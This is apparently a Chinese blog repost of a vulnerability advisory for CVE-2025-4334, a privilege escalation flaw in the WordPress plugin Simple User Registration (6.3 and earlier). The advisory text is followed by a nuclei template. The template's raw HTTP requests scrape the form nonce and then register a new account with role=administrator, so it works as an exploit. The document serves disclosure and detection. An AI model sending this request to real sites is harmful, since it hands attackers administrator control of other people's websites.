Simple User Registration 权限提升漏洞

漏洞信息

漏洞名称: Simple User Registration 权限提升漏洞

漏洞编号:

  • CVE: CVE-2025-4334

漏洞类型: 权限提升

漏洞等级: 严重

漏洞描述: Simple User Registration是一个WordPress插件,用于简化用户注册流程。它广泛应用于需要用户注册功能的WordPress网站中。该插件在版本6.3及之前存在一个严重的权限提升漏洞。漏洞的根源在于插件在用户注册过程中对用户元数据值的限制不足。攻击者可以利用这一漏洞,无需认证即可注册为管理员用户。这种漏洞的存在使得攻击者能够轻易获取网站的最高权限,从而进行任意操作,如修改网站内容、安装恶意插件、窃取用户数据等。由于漏洞的利用不需要任何认证,且可以自动化执行,因此对使用该插件的网站构成了极大的安全威胁。网站管理员应立即更新插件到最新版本,以避免潜在的安全风险。

产品名称: Simple User Registration

影响版本: <= 6.3

来源: https://github.com/projectdiscovery/nuclei-templates/blob/23b7a34f73ef66496b11bec04a2a8af7eb9be8ab/http%2Fcves%2F2025%2FCVE-2025-4334.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62

id: CVE-2025-4334

info:
name: Simple User Registration <= 6.3 - Unauthenticated Privilege Escalation
author: pussycat0x
severity: critical
description: |
The Simple User Registration plugin ≤ 6.3 is vulnerable to privilege escalation.It lacks proper restrictions on user meta values during registration.Unauthenticated attackers can exploit this to register as administrators
reference:
- https://github.com/Nxploited/CVE-2025-4334
metadata:
verified: true
tags: cve,cve2025,wordpress,intrusive,plugin,simple-user-registration


variables:
username: {{randstr}}
email: "{{randstr}}@{{rand_base(5)}}.com"
password: "{{to_lower(rand_text_alpha(8))}}"

http:
- raw:
- |
GET /register/ HTTP/1.1
Host: {{Hostname}}

- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 417

action=wpr_submit_form&wpr_form_id={{wpr_form_id}}&wpr_nonce={{wpr_nonce}}&_wp_http_referer=%2Fregister%2F&wpr%5Bwp_field%5D%5Buser_login%5D={{username}}&wpr%5Bwp_field%5D%5Bfirst_name%5D=first{{username}}&wpr%5Bwp_field%5D%5Blast_name%5D=last{{username}}&wpr%5Bwp_field%5D%5Buser_email%5D={{email}}&wpr%5Bwp_field%5D%5Bpassword%5D={{password}}&wpr%5Bwp_field%5D%5Bconfirm_password%5D={{password}}&wpr%5Bwp_field%5D%5Brole%5D=administrator

matchers:
- type: dsl
dsl:
- contains(body_1, "WPR Register")
- contains(body_2, "user_id")
- contains(body_2, "Registration Done")
condition: and

extractors:
- type: regex
internal: true
group: 1
name: wpr_nonce
part: body
regex:
- 'name="wpr_nonce" value="([a-f0-9]+)"'

- type: regex
internal: true
group: 1
name: wpr_form_id
part: body
regex:
- 'name="wpr_form_id" value="([0-9]+)"'



Simple User Registration 权限提升漏洞
http://example.com/2025/07/17/github_1611067760/
作者
lianccc
发布于
2025年7月17日
许可协议